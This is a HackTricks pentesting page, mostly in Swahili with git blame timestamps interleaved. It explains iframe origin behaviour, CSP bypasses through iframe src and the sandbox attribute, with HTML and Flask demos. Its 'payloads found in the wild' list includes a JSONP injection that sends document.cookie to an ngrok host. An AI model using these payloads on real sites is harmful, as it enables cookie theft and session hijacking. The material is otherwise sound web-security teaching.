hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md

172 lines
8.6 KiB
Markdown
Raw Normal View History

# Iframes in XSS, CSP and SOP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## Iframes in XSS
2021-10-20 00:45:58 +00:00
Kuna njia 3 za kuonyesha maudhui ya ukurasa ulio kwenye iframe:
2021-10-20 00:45:58 +00:00
* Kupitia `src` ikionyesha URL (URL inaweza kuwa ya asili tofauti au ya asili sawa)
* Kupitia `src` ikionyesha maudhui kwa kutumia itifaki ya `data:`
* Kupitia `srcdoc` ikionyesha maudhui
2021-10-20 00:45:58 +00:00
**Kufikia Parent & Child vars**
2021-10-20 00:45:58 +00:00
```html
<html>
2024-02-11 02:13:58 +00:00
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
2021-10-20 00:45:58 +00:00
</html>
```
```html
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>
```
Ikiwa unapata html ya awali kupitia seva ya http (kama `python3 -m http.server`) utaona kwamba skripti zote zitatekelezwa (kama hakuna CSP inayozuia). **mzazi hataweza kufikia `secret` var ndani ya iframe yoyote** na **ni iframes if2 & if3 pekee (ambazo zinachukuliwa kuwa kwenye tovuti moja) zinaweza kufikia siri** katika dirisha la asili.\
Tazama jinsi if4 inachukuliwa kuwa na asili `null`.
2024-02-11 02:13:58 +00:00
### Iframes na CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
2021-10-20 00:45:58 +00:00
2021-10-20 00:55:49 +00:00
{% hint style="info" %}
Tafadhali, angalia jinsi katika bypasses zifuatazo jibu la ukurasa wa iframe halina kichwa chochote cha CSP kinachozuia utekelezaji wa JS.
2021-10-20 00:55:49 +00:00
{% endhint %}
Thamani ya `self` ya `script-src` haitaruhusu utekelezaji wa msimbo wa JS ukitumia protokali ya `data:` au sifa ya `srcdoc`.\
Hata hivyo, hata thamani ya `none` ya CSP itaruhusu utekelezaji wa iframes ambazo zinaweka URL (kamili au njia tu) katika sifa ya `src`.\
Kwa hivyo inawezekana kupita CSP ya ukurasa kwa:
2021-10-20 00:45:58 +00:00
```html
<html>
<head>
2024-02-11 02:13:58 +00:00
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
2021-10-20 00:45:58 +00:00
</head>
2024-02-11 02:13:58 +00:00
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
2021-10-20 00:45:58 +00:00
</html>
```
Note how the **previous CSP only permits the execution of the inline script**.\
However, **only `if1` and `if2` scripts are going to be executed but only `if1` will be able to access the parent secret**.
2021-10-20 00:45:58 +00:00
![](<../../.gitbook/assets/image (372).png>)
2021-10-20 00:45:58 +00:00
Therefore, its possible to **bypass a CSP if you can upload a JS file to the server and load it via iframe even with `script-src 'none'`**. This can **potentially be also done abusing a same-site JSONP endpoint**.
2021-10-20 00:45:58 +00:00
You can test this with the following scenario where a cookie is stolen even with `script-src 'none'`. Just run the application and access it with your browser:
2021-10-20 00:45:58 +00:00
```python
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
2024-02-11 02:13:58 +00:00
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
2021-10-20 00:45:58 +00:00
@app.route("/cookie_s.html")
2021-10-20 00:55:49 +00:00
def cookie_s():
2024-02-11 02:13:58 +00:00
return "<script>alert(document.cookie)</script>"
2021-10-20 00:45:58 +00:00
if __name__ == "__main__":
2024-02-11 02:13:58 +00:00
app.run()
2021-10-20 00:45:58 +00:00
```
### Mipango Mingine Ilipatikana Katika Porini <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
2021-10-20 00:45:58 +00:00
```html
<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
```
### Iframe sandbox
2021-10-20 00:45:58 +00:00
Maudhui ndani ya iframe yanaweza kuwekwa chini ya vizuizi vya ziada kupitia matumizi ya sifa ya `sandbox`. Kwa kawaida, sifa hii haitumiki, ikimaanisha hakuna vizuizi vilivyowekwa.
2021-10-20 00:45:58 +00:00
Wakati inapotumika, sifa ya `sandbox` inaweka vizuizi kadhaa:
2021-10-20 00:45:58 +00:00
* Maudhui yanachukuliwa kana kwamba yanatoka kwenye chanzo pekee.
* Jaribio lolote la kuwasilisha fomu linazuiwa.
* Utekelezaji wa scripts unakatazwa.
* Upatikanaji wa APIs fulani unazuiliwa.
* Inazuia viungo kuingiliana na muktadha mingine ya kuvinjari.
* Matumizi ya plugins kupitia `<embed>`, `<object>`, `<applet>`, au lebo zinazofanana yanakatazwa.
* Usafiri wa muktadha wa juu wa kuvinjari wa maudhui yenyewe unazuiliwa.
* Vipengele vinavyosababishwa kiotomatiki, kama vile upigaji video au kuzingatia kiotomatiki kwa udhibiti wa fomu, vinazuiwa.
2021-10-20 00:45:58 +00:00
Thamani ya sifa inaweza kuachwa kuwa tupu (`sandbox=""`) ili kuweka vizuizi vyote vilivyotajwa hapo juu. Vinginevyo, inaweza kuwekwa kwenye orodha ya thamani maalum zilizotenganishwa kwa nafasi ambazo zinatoa msamaha kwa iframe kutoka kwa vizuizi fulani.
2021-10-20 00:45:58 +00:00
```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
```
2024-02-11 02:13:58 +00:00
## Iframes katika SOP
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Angalia kurasa zifuatazo:
2022-10-12 23:50:04 +00:00
2022-10-13 00:56:34 +00:00
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
{% endcontent-ref %}
2022-10-12 23:50:04 +00:00
2022-10-13 00:56:34 +00:00
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md)
{% endcontent-ref %}
2022-10-12 23:50:04 +00:00
2022-10-13 00:56:34 +00:00
{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md)
{% endcontent-ref %}
2022-08-04 08:54:03 +00:00
2022-10-13 00:56:34 +00:00
{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %}
2022-08-04 08:54:03 +00:00
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}